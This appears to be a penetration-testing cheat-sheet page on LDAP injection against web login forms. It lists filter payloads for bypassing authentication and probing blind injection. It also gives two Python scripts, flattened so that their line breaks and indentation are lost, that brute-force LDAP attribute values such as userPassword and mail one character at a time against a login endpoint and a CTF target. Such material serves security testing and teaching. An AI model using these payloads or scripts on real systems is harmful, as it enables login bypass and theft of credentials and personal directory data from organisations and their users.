LDAP Injection is an attack used to exploitweb based applications that construct LDAPstatements based on userinput. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.
For example:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))
You can access to the database, and this can content information of a lot of different types.
OpenLDAP: If 2 filters arrive, only executes the first one.
ADAM or Microsoft LDS: With 2 filters they throw an error.
SunOne Directory Server 5.0: Execute both filters.
It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.
The filter has to start with: & or |
Example: (&(directory=val1)(folder=public))
Then: (&(objectClass=*)(ObjectClass=*)) will be the first filter (the one executed).
Login Bypass
LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed.
user=*password=*--> (&(user=*)(password=*))# The asterisks are great in LDAPi
user=*))%00pass=any--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)password=pwd--> (&(user=admin)(&))(password=pwd) #Can through an error
username=admin)(!(&(|pass=any))--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection:
#This will result on True, so some information will be shownPayload:*)(objectClass=*))(&objectClass=voidFinalquery: (&(objectClass=*)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shownPayload:void)(objectClass=void))(&objectClass=voidFinalquery: (&(objectClass=void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Dump data
You can iterate over the ascii letters, digits and symbols:
LDAP objects contains by default several attributes that could be used to save information. You can try to brute-force all of them to extract that info. You can find a list of default LDAP attributes here.
#!/usr/bin/python3import requestsimport stringfrom time import sleepimport sysproxy ={"http":"localhost:8080"}url ="http://10.10.10.10/login.php"alphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes:#Extract all attributes value ="" finish =Falsewhilenot finish:for char in alphabet:#In each possition test each possible printable char query =f"*)({attribute}={value}{char}*" data ={'login':query,'password':'bla'} r = requests.post(url, data=data, proxies=proxy) sys.stdout.write(f"\r{attribute}: {value}{char}")#sleep(0.5) #Avoid brute-force bansif"Cannot login"in r.text: value +=str(char)breakif char == alphabet[-1]:#If last of all the chars, then, no more chars in the value finish =Trueprint()
Special Blind LDAP Injection (without "*")
#!/usr/bin/python3import requests, stringalphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"flag =""for i inrange(50):print("[i] Looking for number "+str(i))for char in alphabet: r = requests.get("http://ctf.web??action=dir&search=admin*)(password="+ flag + char)if ("TRUE CONDITION"in r.text): flag += charprint("[+] Flag: "+ flag)break